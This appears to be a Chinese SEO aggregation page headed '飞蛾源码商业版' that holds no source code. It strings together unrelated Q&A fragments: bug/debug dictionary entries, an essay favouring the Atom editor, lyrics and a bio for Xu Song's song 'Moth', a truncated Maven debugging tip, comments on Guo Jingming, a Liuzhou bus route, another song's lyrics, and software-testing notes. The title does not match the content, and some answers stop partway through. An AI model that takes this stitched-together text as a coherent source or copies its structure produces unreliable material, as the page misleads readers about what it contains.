飞蛾源码商业版

㈠ bug和debug是什么意思

bug

英[bʌɡ]美[bʌɡ]

n.臭虫；窃听器；[计]漏洞 v.窃听；打扰；失去(镇定)

名词:bugger 过去式:bugged 过去分词:bugged 现在分词:bugging 第三人称单数:bugs

Debug

英[ˌdiː'bʌɡ]美[ˌdiː'bʌɡ]

v.调试；驱除（某处的)害虫；排除障碍；寻出并拆除 ... 内的窃听器

名词:debugger过去式:debugged过去分词:debugged现在分词:debugging第三人称单数:debugs

(1)飞蛾源码商业版扩展阅读：

bug双解释义

1.n. (名词)

[C]虫子any small insect

[C]〈非正〉病菌a small living thing causing disease

[C](机器等)故障a fault or difficulty in a machine, etc.

[C]〈俚〉窃听器an apparatus for listening secretly to other people's conversations

2.v. (动词)

vt. 〈俚〉在…装窃听器; 窃听fit with a secret listening apparatus

vt. 〈美俚〉打扰,使厌烦annoy; irritate

英英释义

bug的用法和样例：

用作名词 (n.)

Why do we need bug spray?
我们要杀虫剂干什么?

The police tested the room for bugs.
警察检查房间里是否放有窃听器。

用作动词 (v.)

Be careful what you say; our conversation may be being bugged.
说话要当心，咱们的话可能被窃听了。

Don't bug me with petty details.
不要讲那些琐碎的细节来烦我。

That man really bugs me.
那个人真把我惹火了。

Debug英英释义

Verb:

1.locate and correct errors in a computer program code;

"debug this program"

例句

用作动词 (v.)

I am trying to debug a screen-painting problem.
我在尝试调试屏幕绘制问题。

㈡ 什么代码编辑器比较好用

着名的代码编辑器：Microsoft Visual Studio Code、Github Atom、Sublime text、Adobe Brackets

最推荐的一种：Atom

推荐理由：

链接：如何评价 GitHub 发布的文本编辑器 Atom？

作者：韦易笑

用过不少编辑器：UltraEdit / EditPlus / (G) Vim / GEdit / NotePad++ / TextMate / ProgrammerPad / Sublime 。确实是工作上用他们写过代码的。而 VSC / Emacs 只是体验了一下基本使用方法，算不上真用。用下来的结论是：Atom 比 Vim 更 Vim，比 Emacs 更 Emacs，同样，比 Sublime 更 Sublime。

Atom 唯一的槽点就是“卡”，不过那是去年的情况了，1.0后性能数次大提升，比起sublime/vsc之类虽不算流畅，但同时编辑20个数千行的文件没有压力。如今让人感觉慢的地方主要是启动loading（也大大短于eclipse, idea），使用时并没察觉它比其他编辑器慢再哪。而文本编辑器的快慢，更重要的是“让你工作更快更有效率”。下面说说为何 Atom比其他更有效率：

兼容VIM模式

这无疑团结了一大班 Vim过来的用户，Sublime虽然也有VIM模式，但是Sublime在 mac下面的vim模式有bug，我习惯用 hjkl来移动光标，sublime再mac下hjkl移动有问题，且我习惯CTRL_[来返回NORMAL，手指不离开主键盘区，而sublime的vim模式只支持ESC返回，加上其作者经常神秘消失，最稳定的2.x版本已三年没有更新，这些问题一直得不到修正。

由于Atom的定制程度直追 Vim/Emacs，它的vim模式能够使用插件来实现，而不像sublime必须builtin，Atom的VIM模式除了官方实现外还有很多用户实现，各有所长，你不喜欢可以换，Sublime就傻逼了，觉得builtin的不行，你就没办法了，而且作者不更新你也没办法。

Atom里的Vim模式并不是强制的，你可以用也可以不用，这样入门用户也不会觉得困难，但是如果你用惯Vim的话，使用Vim模式可以取得更好的效率，我觉得Vim/Atom-VimMode能够提升效率的地方有以下三方面：

1. 手指不离开主键盘区：

所有功能皆能在主键盘区完成，不用去按方向键，不用把手挪去按Home/End，更不用动鼠标。就像咏春中强调中线理论，认为一切动作围绕中轴线开展，守护自己中轴线的同时攻击别人的中轴线。Vim/Atom-VimMode中，双手不但从不离开主键盘，并且八根手指随时守护再HOME位（ASDF, JKL;）有动作就移动，然后马上归位。

2. 细粒度微操作：

星际/dota玩的好，微操基本功，微操又快又精确，Vim/Atom-VimMode一样，比如：

if (xxxx) {}

很多人编码时习惯“成对编码”，写了申请资源的代码，先把释放资源写了，写了左括号，先把右括号给补充完，当你写完第二行代码时，需要用到“再1-2行中间插入一行”，此时你的光标停留在第二行，传统编辑器你需要：按上箭头移动光标到第一行 -> 按END键去到第一行末尾 -> 按回车插入一行，mac下的END键还需要用CMD+右来组合出来，而Vim/Atom-VimMode中，你只需要shift+o即可，手指完全不离开主键盘区，不用像传统编辑器那样，右手先移动到箭头区又移动到HOME的小键盘区，再移动回主键盘区这么麻烦，类似还有：

使用o直接再下一行插入，避免 END/回车

使用I再行首插入，避免移动半天光标。

向前/后移动一个单词到单词头、尾。

快速更改当前单词，用/来快速搜索移动光标。

dd+p来快速移动代码块，取代shift+方向键半天。

shift-j 来两行合并成一行，代替 HOME, back 若干次。

。。。

你再编辑代码的时候，90%的情况可以直接一步完成，这就叫细粒度微操，而且整个过程手都不需要离开主键盘，不像传统编辑器那样，若干笨重的操作组合再一起，操作不够细步骤多的同时手还要再：主键盘区，方向键区，扩展键区 来回移动，效率奇低。而Vim/Atom-VimMode下，手指随时守护在home区（ASDF JKL；），所有微操都是围绕HOME区进行，不会移动到任何主键盘以外的区域，更别说用鼠标、触摸板。

3. 批量操作：

比如要给下面代码每行后面加一个分号：

var x = 1var y = 2var z = 3console.log('result is ' + (x + y + z).toString())

一般做法是：移动光标到行末->END->分号->移动光标到下一行，Vim里面不需要移动光标到行末，只需循环敲入：“A;<ESC>j” 即可，本来操作就少很多。这还不是最少操作，更少操作是利用Vim里面的句号“.”功能重复上一次操作，即第一行“A;”补充了一个分号后，第二行只需要按一下"."即可重复，于是最后操作变为：

第一行：A;<ESC>

后面所有行：J.

超级爽快的操作，这样的操作还很多，你还可以单条命令对一万行代码重复上述步骤，或者把c代码拷贝到go里面先一句话把所有分号给删除了。Vim下面的名言：绝不重复。

总之如果你熟悉 VIM模式，用 Atom能感到完全自由的方式，随心所欲的书写代码，而不是被书写这件事情费脑筋，解放大脑完全用于思考而不用于打字。但是同时对不习惯VIM的人照样友好，或者对想使用VIM的便利却又痛恨VIM这个软件的简陋的人带来了福音。

脊椎记忆

“同样动作重复300次，肌肉就会有记忆，而一个动作重复600次，脊椎就会有记忆”
-- 李小龙

编辑器就是关于脊柱记忆的东西，所以多投入一些时间去了解你使用的编辑器，掌握他们的各种快捷操作和高级功能是一个能让你事半功倍的好主意。

格斗游戏玩的好的人有很多，下等高手靠熟练，中等高手靠反应，上等高手靠意识。更熟练的掌握你的编辑器，让更多日常工作固化成记忆记录再你的脊椎上，使用的时候，脊椎这枚协处理器就能完成代码编写，一个操作，刚一想到，脊椎就自动执行出来了，小脑腾出空间来组织判断，大脑腾出空间来思考更重要的东西，就像你走路，你不用思考迈腿那么自然，别人一拳过来，你潜意识一动，一连串动作就出去了，一只飞蛾飞过来，你潜意识的闭上眼睛保护眼部，这就是脊椎记忆，如果还要经过大脑绕一圈，反应慢不说，大脑这颗cpu都用在这些琐事上了，思考的时间自然少了不少。

所以从内到外的了解你的编辑器，并且熟练掌握他们，是对你提高工作效率的最佳投资，Atom的全平台支持，开放源代码，深度可定制等三个特点，比起其他闭源的，平台支持不全的，扩展少的编辑器来说能让你有不同层面的了解机会，同时为你提供足够的空间。

深度可定制系统

Vim/Emacs的精髓在于：“可以调教”，本来不顺手的东西，只要容易调教，假以时日，都会慢慢变得越来越顺手，越来越“懂你”，越来越“贴心”，以至于后面大家都离不开它了。而 Atom 也同样是一款容易被你调教的编辑器。先前给vim写过插件，给sublime写过插件，如今给Atom写过插件，横向对比下来，几个结论：

插件能做事情多少：Atom > Vim >> sublime

插件开发学习门槛：Vim > Atom > sublime

插件开发文档丰富：Atom > sublime >> Vim

Atom 的定制化程度远远高过sublime之类（不用实际看法，看看双方开发文档即可），直追 Vim / Emacs，sublime的大部分定制无外乎改改json，插件能做的事情相当有限。

Atom 的定制化系统主要有三方面：

1. 细致：

设计之初就考虑的事情，方方面面都能定制，见官方文档，以及插件：vim-mode，minimap （稍微了解下这两个类似的功能再 Atom 和 sublime的实现就能知道 sublime被甩了多少条街了）。可以细粒度的控制编辑器内所有行为，小到移动一下光标，删除当前一个字符，大到打开一个面板，比如 “core:more-up” 可以向上移动一行光标，“window:focus-pane-on-left” 可以把焦点设置到左边的面板，atom内核和大量第一方第三方packages 都是以命令的方式把基础功能提供出来，你可以随意互相调用或者设置热键。

除去命令外的API层面，几乎每个部件每个像素点都可控，比如这样的插件你永远无法再 Vim / Emacs / Sublime 下面见得到：activate-power-mode。

2. 直观：

由于使用 javascript/coffee进行开发，但 javascript/coffee是属于即便你没写过他们，读都能读得懂，VimScript就不一样了，虽然也能做相同的事情，但实话实说，晦涩难写，比如我要取得当前文件的路径和文件名，在 VimScript里面需要这么写：

let l:path = expand('%:p:h')let l:name = expand('%:t:r') 或者 let l:name = expand('%<')

而在 Atom 里我们用atom自己的功能直接取出路径来，然后进行切割：

var fullpath =atom.workspace.getActiveTextEditor().getPath();var filename = path.basename(fullpath);var filepath = path.dirname(fullpath);

就问大家一下？哪段代码更友好直观？你一眼就知道在做什么？你更愿意用按照哪段代码进行插件开发？是上面的VimScript？还是下面的 javascript ？

结论是很清晰的，Atom的 javascript开发插件更简单直观，即便没文档，看别人怎么写的自己也会了，同时灵活性大大高于VmScript，各种事件处理回调，javascript天生擅长做这些事情，还有第二行，第三行，我们用到了 node.js 的 path模块，进行文件路径切割。这样的写法，再VimScript 里面基本是无法想象的。

Vim是强大，但是毕竟是30年前的东西了，即便最熟练的 Vimer 也都承认 VimScript 的晦涩难懂，阻碍了很多人为其开发插件。而给Atom开发插件，只需要掌握javascript，掌握 javascript的人很多，学习了javascript你也可以用在很多地方。不像VimScript那样只能用在Vim里面，而正因为其晦涩，Vim新版本开始支持内嵌 python的写法：

python << EOF
import random
print random.randint(0,10)EOF

VimScript中 Python等动态的支持正是说明其开发维护者也承认 VimScript本身的古老，对比现代编程语言已经有些格格不入了，缺乏强大的描述能力，难以构建复杂的功能模块，才会去支持Python内嵌这样的写法。可大量的工作还是需要再Python之外完成，同时，并非所有平台自带的Vim都支持python，除了mac外，所有debian / ubuntu 发行版自带的Vim都不支持 Python。导致你想写一个通用的扩展还得判断下是否 has('python') 没有的话老老实实用 VimScript 去实现它，这不是折磨人么？

Sublime里面可以用原生 Python 写扩展，比 VimScript爽，但是 sublime 的插件能做的事情还不及VimScript的一半，所以怎么能指望他们能写出高端的功能来呢？

3. 强大：

Atom的内核 Electron （原来的 Atom-shell）可以理解成：Chromium + Node.JS，而整个Atom的界面，你可以理解成就是一颗 HTML 的 DOM 树结构，这意味着你可以这样：

var div = document.createElement("div"); div.innerText = "abc"; atom.workspace.addBottomPanel(div);

就可以简单的在 atom 里面增加一个显示对象，这意味着再给div加个 html的 onclick就可以实现GUI交互，界面上的对象随便写点html代码就可以控制效果，意味着你可以使用 jQuery 来为atom增加新面板，意味着你只需要写一个简单的 .css 文件就可以把 Atom 整个编辑器的外观给修改了。这在 Vim/Emacs 中是几乎不可想象的事情，sublime基本就别提了。

大量的前端开发技术和 Node.JS 基础模块供你任意使用，正是由于近年 Chromium / node.js 系列技术的成熟，和 Atom / Visual Studio Code 这类基于前端技术的客户端软件的成功，让我看到了客户端（桌面+移动）软件开发的新方向。

做VIM/Emacs不能做的事情

Vim/Emacs过去给人的映像是：几乎能做任何事情，确实如此，但毕竟是二三十年前的东西了，而他们一直坚挺到现在一方面是操作便利，更重要的是这么长时间还没有出现一款又开源又具备同样操作便利性和可扩展性的编辑器，所以Vimer, Emacser 们最乐意展示给别人看的就是他们又安装了什么插件，急于展示可以把 Vim / Emacs 装扮成了一个多像 IDE 的东西，而今天这个“可以做任何事情”的高度可定制特性已经被Atom所吸收并完全超越，就像 Atom 的开发blog：“ Introcing Atom” 上说的一样，对易用性和可展性 “决不妥协” ：

We think we can do better. Our goal is a zero-compromise combination of hackability and usability: an editor that will be welcoming to an elementary school student on their first day learning to code, but also a tool they won't outgrow as they develop into seasoned hackers.

抛开易用性的这个 Atom 的明显优势不说，前面其实已说了不少 Atom 比 Vim/Emacs 更灵活强大的地方，可能有些人还有疑惑，不是说 Emacs “没有不能做的事情” 么？你看 Atom的面板里面可以嵌入一个 Terminal，Vim/Emacs一样可以嵌入啊，为何还说 Atom 比它强啊？

没错，Vim用久了会产生心理舒适区，多模式编辑使人神清气爽，命令化文本处理让你赏心悦目，但是受限于本身机制用久了会容易痛苦挣扎：虽然vim的各种扩展似乎什么事情都能做，但每个扩展却只能做到70分，总有那么30%的地方做不到位。所以用的时间长了，上半身爽的要死，下半身痛不欲生。。。。

Vim/Emacs即便大部分扩展功能也都可以称为“能用”，可几十年的历史包袱太沉，很多事情对他们来讲就是禁区，比如诡异的标签功能，容易误操作的buffer/窗口切换，缺乏异步机制，编译时间长只有傻等着，无法跟Atom一样边读代码，边运行程序看结果，对照输出结果和源代码找问题，连实现个内嵌终端都用了若干年，还实现的那么别扭。。。。。。。。。

这类硬伤有许多，再举个最简单的例子，minimap，就是 sublime那种大家喜欢的文档缩略图，这个现代编辑器必备的功能，谁能用 Vim/Emacs 实现一下看看？Atom 可以衍生出 Visual Studio Code 这样漂亮的编辑器，Vim/Emacs能衍生么？Atom可以随便用各种先进的前端技术，不当可以嵌 Terminal我甚至可以再 Atom 嵌入一个 js版本的 DOSBOX 玩老游戏《命令与征服》：

https://archive.org/details/softwarelibrary_msdos_games

Play DOS games online

当然这样并没有任何卯用，但是如果在 Atom里面内嵌一个浏览器，方便的实时预览html/css的效果呢？或者 Atom 里面内嵌一个 Markdown Previewer ，实时查看 Markdown 的效果呢？请问 Vim/Emacs 里怎么实现法？

Atom插件演示：markdown实时预览，左边写右边即时更新，100%兼容github的markdown语法

短短两年的时间，这么多优秀的插件，只想说，如今 Atom 作为 Vim/Emacs 的继承者和超越者出现了，所以社区对 Atom 的反应也是热烈的，看看下面一组数据，截止今天（2016年3月15日），Atom共有扩展插件 3500+ 个，发布不到两年的时间，这是什么概念呢？

• Sublime的插件（Stats - Package Control）大概 3500+个，但是sublime发布了5年的时间。
  

• Emacs 的插件大概有2900个，可Emacs发布到今天已经过去 25+年的时间。
  

• Vim 的各种插件虽然有9000个，但是Vi/Vim系列的历史长达 30+年，是atom的15倍。

这就叫社区的活跃度的区别，为什么短短两年那么多开发者先后给atom贡献了各种高质量的扩展，为什么大家对atom的热情那么高？为何好多人接触了atom一段时间后都深深的爱上了它？这是有原因的。

再谈性能优化

很多人错误的觉得 Atom慢是因为使用了 JavaScript/Coffee 等 Web 技术，所以先天慢，其实这是个误区，即便使用 Web 技术它也还能快很多，同时再慢可以往C++层的 Electron 挪啊，这也是这几个版本优化的一些方向，基于 Atom 开发的 Visual Studio Code 可以那么流畅， Atom 性能优化空间还很大，了不起多参考下自己的儿子，同样开源的 vscode怎么做的。

同时 Atom编辑器1.0版本以来性能得到了很大的提升，主要是两个方面，一方面是js层的各种渲染优化，控件优化，延迟绘制，延迟加载，只绘制当前需要的东西等，另外一方面是将一些核心数据结构移动到 Electron 的 C++层，如今1.54版本性能较去年版本已经有了本质区别，运行时加载是慢些（但也比eclipse快很多），实际使用并没觉得不如别的编辑器，况且，js层的优化和C层的优化未来还有很大的空间可以进步。

不过我不太喜欢 vscode 使用 Typed Script 进行开发，用点标准技术不行么，Atom使用 JavaScript/Coffee 写的多爽，如今 Atom 正在准备慢慢的切换到 JavaScript 的新标准 ES6 上。其次 vscode 快是快在“做的事情少”，主要是可扩展性方面的努力远不及 Atom，插件机制相对弱智，所以 vscode 的社区如今还不是特别活跃，扩展也少，发布一年多只有差不多300+个扩展，远不如 Atom 的情况，如果 vscode 还是按照现有结构开发下去，可能永远不会拥有 Atom的灵活度，这样再未来就无法拥有各种丰富多彩的插件。

再说开源免费

UltraEdit 单用户版本价格： 79 美刀

UltraEdit 服务器版价格： 229 美刀（多人登录同一台服务器的桌面使用），企业版更贵

EditPlus 单用户版价格： 35 美刀，而且还只有windows版本，

Sublime 单用户版价格：70 美刀

TextMate 单用户版价格：48 欧元，而且还只有mac版本。

这些都是钱啊，可能你会说可以免费试用或者破解啊，是的个人可以，但正常来说sublime这些试用指不能拿来搞生产不能拿来工作的，个人你用用可以，但国外人家守规矩，不会乱用，这意味着失去一大批为其开发扩展的国外开发者，同时站在公司考虑IT方案的角度，免费试用和破解将来都是潜在的麻烦，现在上百人的公司微软都会来收windows的钱了，版权问题越来越严肃，你得把这笔潜在费用考虑进去，同时这些闭源的或者单平台的东西，并不值得再上面花费过多精力和投资。

抛开扩展性问题和价格问题，我们再来看各个热门的免费编辑器的试用情况：

Notepad++：免费，开源，只能运行于windows

PSPad：免费，不开源，只能运行再 Windows

Gedit：免费，开源，只能跑再 GNome下，Ubuntu用用，Windows/mac版本简直是残缺的。

Programmer's Notepad : 免费开源，只能跑 Windows

Notepad2：免费bu不开源，只能跑 Windows

更关键的是：闭源的东西个人作者可能失去兴趣不再更新，商业公司的话，你需要一个功能，就只能无限期的等待他们发慈悲加入进去。而免费开源的很多其他编辑器除去平台兼容性问题外，更重要的时扩展性差。

而同时满足：免费+开放+强扩展性的编辑器如今就只出现过三个：Vim / Emacs / Atom。他们是真正属于使用者的编辑器，他们能变成使用者希望变成的样子。这些曾经出现过得收费的或者免费的编辑器，凭借着一两个自身独有的 “卖点”，再某些时间段内都曾经流行过，可就像流星一样一闪而过，如今他们都统统完成了自己的历史使命，新的一页可以翻开了。终端环境的话确实 Vim / Emacs 继续下去，但桌面环境的话，Atom将会继续向前，走出新的一步。

㈢ 许嵩的《飞蛾>>.的简介

许嵩 - 飞蛾 作词：海雷 作曲：李毅杰
万家灯火看得太多
只会更寂寞
听说失恋可以愈合
我的痛谁又晓得
爱情只剩灰色泡沫
可以溶掉我
是不是得到的越多
反而就会更难过
画面定格了
心痛了碎了
我们的快乐
被你推翻了
世界剩我一个
我想你也不会再来找我
我爱你像飞蛾扑火
得不到什么
爱情在风中凋落
也许爱是伟大的
我是卑微的
你是不适合我的
我爱你像飞蛾扑火
得不到什么
是我错误的选择
也许一个人比较适合
画面定格了
心痛了碎了
我们的快乐
被你推翻了
世界剩我一个
我想你也不会再来找我
我爱你像飞蛾扑火
得不到什么
爱情在风中凋落
也许爱是伟大的
我是卑微的
你是不适合我的
我爱你像飞蛾扑火
得不到什么
是我错误的选择
也许一个人比较适合
我弹着钢琴唱着歌
胸口却依然在疼着
也许弹着弹着 唱着唱着 就愈合
我爱你像飞蛾扑火
得不到什么
爱情在风中凋落
也许爱是伟大的
我是卑微的
你是不适合我的
我爱你像飞蛾扑火
得不到什么
是我错误的选择
也许一个人比较适合
也许一个人比较适合
简介
2006年11月13日，《飞蛾》在新浪网发布后引发轰动，首日下载量就突破7万次，这首歌的演唱者许嵩，在今年夏天还曾接到天娱公司的邀请，担纲2006超女专辑的制作人。但这个被称为“周杰伦的接班人”的音乐少年，并非成名已久的专业音乐人，也不是哪家唱片公司正在力推的新星，他只是安徽医科大学一名普通的大三学生，英文名叫vae，毕业于合肥一中，大学毕业于安医大卫生管理学院。 尚未签约唱片公司、不靠唱歌写歌混饭吃、极少曝光、所有歌曲独立完成录音混音工作——随便网络搜一下，却发现他拥有着海量粉丝和超高人气。这种强烈的反差实在可以让一些被重金力捧却怎么也捧不起来的职业歌手汗颜。近日，这首编曲、演唱、录音混音全由许嵩一人完成的作品，在其一向人气火爆的歌迷论坛刚刚推出，就又一次意料之中的进入Tom玩乐吧等门户网站以及诸多电台的原创排行榜。这在唱片工业化、音乐商业化的今天不能不说是一个小奇迹——无公司力捧，零投资运作，却真正虏获了网站编辑、电台编辑们的心。笔者尝试联系许嵩本人未果，难怪有“歌坛小韩寒”之称。可反过来想想，年轻人低调冷静些，倒也不是什么坏事。在老师和同学眼中，生活中的许嵩就是这样：一个安静、温和、坚持理想的大男孩。“我觉得他的道德品质非常好”，许嵩的辅导员单勇强老师评价说，“在外人眼里，许嵩已经是一个偶像了，甚至本校的老师也来找我要他的签名，但我觉得他和别的学生没什么两样。”在音乐之外，许嵩也是个多才多艺的年轻人。许嵩说，他喜欢看书、写作，还学过街舞。

㈣ 使用maven eclipse 如何进行debug调试

方法如下：

1. 右键maven工程，在弹出的菜单中选择[Debug As]，首次选择[Maven build...]，以后选择[Maven build]来读取保存的配置启动

   

   ㈤ 如何评价郭敬明的商业才能

   郭敬明对于整个娱乐行业最大的贡献，或许是其确立了粉丝电影、流量鲜肉的概念。其中，《小时代》系列是一个标杆性产品。2013年6月27日，《小时代1》上映，当天便刷新了电影市场多项纪录。随后，郭敬明接连推出了《小时代》的第二、三、四部，以及去年上映的《爵迹》，这些作品累计斩获超21.7亿元的票房。再加上原先的小说版税、IP改编费等，让郭敬明这三个字在娱乐圈颇具影响力。尽管郭敬明的这些影视作品颇受争议，但不可否认他本人在商业上获得巨大成功，并且他已建立起属于自己的“商业帝国”。

   ㈥ 柳州飞蛾路到跃进计划生育那里坐公车会到做几路的公车 谢谢！

   5路 进站 -> 海川家具市场(香兰公交站) -> 鹧鸪江路口 -> 三十九中学（柳钢医院住院部） -> 柳州医专一附院路口 -> 白沙 -> 二安 -> 跃进锦绣路口 -> 欧雅城市广场 -> 恒达巴士公司 -> 三中白沙路口 -> 市委 -> 柳侯公园 -> 市妇幼保健院 -> 飞鹅商城（华地工贸） -> 鱼峰路 -> 文惠桥南 -> 东门 -> 市中医院 -> 市委 -> 三中白沙路口 -> 恒达巴士公司 -> 欧雅城市广场 -> 跃进锦绣路口 -> 二安 -> 白沙 -> 柳州医专一附院路口 -> 三十九中学（柳钢医院住院部） -> 鹧鸪江路口 -> 海川家具市场(香兰公交站) -> 进场 对，就是楼上说的站点下就是了！

   ㈦ 你知不知道我爱你就像飞蛾扑火这歌叫啥名

   歌名：《两个人的回忆一个人过》 歌手：庄心妍。

   作曲人：关剑 作词人：潘攀

   歌词如下：

   还要走多久 还有多少个沙丘 这黑夜快要把我吞没

   我的泪化成河 忧郁像落叶漂泊 寂寞的歌谁来附和

   心空似荒漠 傻傻等你说爱我 一个女人其实要的并不多

   不知什么时候 我们没有了问候 寂寞的人 寂寞的歌

   你知不知道我爱你就像飞蛾扑向火 为什么你不懂女人的脆弱

   你知不知道我对你就像为爱着了魔 傻傻的等 厮守你给的承诺

   心空似荒漠 傻傻等你说爱我 一个女人其实要的并不多

   不知什么时候 我们没有了问候 寂寞的人 寂寞的歌

   你知不知道我爱你就像飞蛾扑向火 为什么你不懂女人的脆弱

   你知不知道我对你就像为爱着了魔 傻傻的等 厮守你给的承诺

   你知不知道我爱你就像飞蛾扑向火 你不懂一个女人对爱的执着

   你知不知道我对你就像为爱着了魔 两个人的回忆 一个人过

   两个人的回忆 一个人过

   

   (7)飞蛾源码商业版扩展阅读：

   《两个人的回忆一个人过》是由歌手庄心妍演唱的歌曲，所属专辑《好可惜》，填词和谱曲都是潘攀，编曲是关剑，于2014年12月16日发行，音乐风格属于流行乐曲，歌曲语言是普通话。

   歌曲总时长4分27秒，歌曲听起来非常的撕心裂肺，不伤心的人听了都觉得糟心，伤感的人一听就会哭的歌。

   ㈧ 软件测试具体是做什么的（面试人员说刚开始做的是处理一些代码非常枯燥的事）请有做过工作的过来人指点

   软件测试定义是：为了发现程序中的错误而执行程序的过程
   
   它是帮助识别开发完成（中间或最终的版本）的计算机软件（整体或部分）的正确度(correctness) 、完全度(completeness)和质量(quality)的软件过程；是SQA(software quality assurance)的重要子域。
   
   软件测试的目标：
   
   (1)测试是为了发现程序中的错误而执行程序的过程；
   
   (2)好的测试方案是极可能发现迄今为止尚未发现的错误的测试方案；
   
   (3)成功的测试是发现了至今为止尚未发现的错误的测试。
   
   软件测试的内容：
   
   软件测试主要工作内容是验证(verification)和确认(validation )，下面分别给出其概念：
   
   验证(verification)是保证软件正确地实现了一些特定功能的一系列活动，即保证软件做了你所期望的事情。(Do the right thing)
   
   1.确定软件生存周期中的一个给定阶段的产品是否达到前阶段确立的需求的过程；
   
   2.程序正确性的形式证明，即采用形式理论证明程序符号设一计规约规定的过程；
   
   3.评市、审查、测试、检查、审计等各类活动，或对某些项处理、服务或文件等是否和规定的需求相一致进行判断和提出报告。
   
   确认(validation)是一系列的活动和过程，目的是想证实在一个给定的外部环境中软件的逻辑正确性。即保证软件以正确的方式来做了这个事件(Do it right)
   
   1.静态确认，不在计算机上实际执行程序，通过人工或程序分析来证明软件的正确性；
   
   2.动态确认，通过执行程序做分析，测试程序的动态行为，以证实软件是否存在问题。
   
   软件测试的对象不仅仅是程序测试，软件测试应该包括整个软件开发期问各个阶段所产生的文档，如需求规格说明、概要设计文档、详细设计文档，当然软件测试的主要对象还是源程序。
   
   从不同的角度出发，软件测试可以划分为不同的分类：
   
   从是否关心软件内部结构和具体实现的角度划分
   
   A.白盒测试
   
   B.黑盒测试
   
   C.灰盒测试
   
   从是否执行程序的角度
   
   A.静态测试
   
   B.动态测试。
   
   从软件开发的过程按阶段划分有
   
   A.单元测试
   
   B.集成测试
   
   C.确认测试
   
   D.验收测试
   
   E.系统测试
   
   * 测试过程按4个步骤进行，即单元测试、集成测试、确认测试和系统测试及发版测试。
   * 开始是单元测试，集中对用源代码实现的每一个程序单元进行测试，检查各个程序模块是否正确地实现了规定的功能。
   
   * 集成测试把已测试过的模块组装起来，主要对与设计相关的软件体系结构的构造进行测试。
   * 确认测试则是要检查已实现的软件是否满足了需求规格说明中确定了的各种需求，以及软件配置是否完全、正确。
   * 系统测试把已经经过确认的软件纳入实际运行环境中，与其它系统成份组合在一起进行测试。
   单元测试 (Unit Testing)
   * 单元测试又称模块测试，是针对软件设计的最小单位 — 程序模块，进行正确性检验的测试工作。其目的在于发现各模块内部可能存在的各种差错。
   * 单元测试需要从程序的内部结构出发设计测试用例。多个模块可以平行地独立进行单元测试。
   1. 单元测试的内容
   * 在单元测试时，测试者需要依据详细设计说明书和源程序清单，了解该模块的I/O条件和模块的逻辑结构，主要采用白盒测试的测试用例，辅之以黑盒测试的测试用例，使之对任何合理的输入和不合理的输入，都能鉴别和响应。
   
   (1) 模块接口测试
   * 在单元测试的开始，应对通过被测模块的数据流进行测试。测试项目包括：
   – 调用本模块的输入参数是否正确；
   – 本模块调用子模块时输入给子模块的参数是否正确；
   – 全局量的定义在各模块中是否一致；
   
   * 在做内外存交换时要考虑：
   
   – 文件属性是否正确；
   – OPEN与CLOSE语句是否正确；
   – 缓冲区容量与记录长度是否匹配；
   – 在进行读写操作之前是否打开了文件；
   – 在结束文件处理时是否关闭了文件；
   – 正文书写／输入错误，
   – I／O错误是否检查并做了处理。
   
   (2) 局部数据结构测试
   * 不正确或不一致的数据类型说明
   * 使用尚未赋值或尚未初始化的变量
   * 错误的初始值或错误的缺省值
   * 变量名拼写错或书写错
   * 不一致的数据类型
   * 全局数据对模块的影响
   (3) 路径测试
   * 选择适当的测试用例，对模块中重要的执行路径进行测试。
   * 应当设计测试用例查找由于错误的计算、不正确的比较或不正常的控制流而导致的错误。
   * 对基本执行路径和循环进行测试可以发现大量的路径错误。
   (4) 错误处理测试
   * 出错的描述是否难以理解
   * 出错的描述是否能够对错误定位
   * 显示的错误与实际的错误是否相符
   * 对错误条件的处理正确与否
   * 在对错误进行处理之前，错误条件是否已经引起系统的干预等
   (5) 边界测试
   * 注意数据流、控制流中刚好等于、大于或小于确定的比较值时出错的可能性。对这些地方要仔细地选择测试用例，认真加以测试。
   * 如果对模块运行时间有要求的话，还要专门进行关键路径测试，以确定最坏情况下和平均意义下影响模块运行时间的因素。
   
   2. 单元测试的步骤
   * 模块并不是一个独立的程序，在考虑测试模块时，同时要考虑它和外界的联系，用一些辅助模块去模拟与被测模块相联系的其它模块。
   – 驱动模块 (driver)
   – 桩模块 (stub) —— 存根模块
   
   * 如果一个模块要完成多种功能，可以将这个模块看成由几个小程序组成。必须对其中的每个小程序先进行单元测试要做的工作，对关键模块还要做性能测试。
   * 对支持某些标准规程的程序，更要着手进行互联测试。有人把这种情况特别称为模块测试，以区别单元测试。
   集成测试（Integrated Testing）
   * 集成测试 (集成测试、联合测试）
   * 通常，在单元测试的基础上，需要将所有模块按照设计要求组装成为系统。这时需要考虑的问题是：
   – 在把各个模块连接起来的时候，穿越模块接口的数据是否会丢失；
   – 一个模块的功能是否会对另一个模块的功能产生不利的影响；
   
   – 各个子功能组合起来，能否达到预期要求的父功能；
   – 全局数据结构是否有问题；
   – 单个模块的误差累积起来，是否会放大，从而达到不能接受的程度。
   在单元测试的同时可进行集成测试，
   发现并排除在模块连接中可能出现
   的问题，最终构成要求的软件系统。
   
   * 子系统的集成测试特别称为部件测试，它所做的工作是要找出集成后的子系统与系统需求规格说明之间的不一致。
   * 通常，把模块集成成为系统的方式有两种
   – 一次性集成方式
   – 增殖式集成方式
   
   1. 一次性集成方式(big bang)
   * 它是一种非增殖式组装方式。也叫做整体拼装。
   * 使用这种方式，首先对每个模块分别进行模块测试，然后再把所有模块组装在一起进行测试，最终得到要求的软件系统。
   
   2. 增殖式集成方式
   * 这种集成方式又称渐增式集成
   * 首先对一个个模块进行模块测试，然后将这些模块逐步组装成较大的系统
   * 在集成的过程中边连接边测试，以发现连接过程中产生的问题
   * 通过增殖逐步组装成为要求的软件系统。
   
   (1) 自顶向下的增殖方式
   * 这种集成方式将模块按系统程序结构，沿控制层次自顶向下进行组装。
   * 自顶向下的增殖方式在测试过程中较早地验证了主要的控制和判断点。
   * 选用按深度方向组装的方式，可以首先实现和验证一个完整的软件功能。
   
   (2) 自底向上的增殖方式
   * 这种集成的方式是从程序模块结构的最底层的模块开始集成和测试。
   * 因为模块是自底向上进行组装，对于一个给定层次的模块，它的子模块（包括子模块的所有下属模块）已经组装并测试完成，所以不再需要桩模块。在模块的测试过程中需要从子模块得到的信息可以直接运行子模块得到。
   
   * 自顶向下增殖的方式和自底向上增殖的方式各有优缺点。
   * 一般来讲，一种方式的优点是另一种方式的缺点。
   (3) 混合增殖式测试
   * 衍变的自顶向下的增殖测试
   – 首先对输入／输出模块和引入新算法模块进行测试;
   – 再自底向上组装成为功能相当完整且相对独立的子系统;
   – 然后由主模块开始自顶向下进行增殖测试。
   
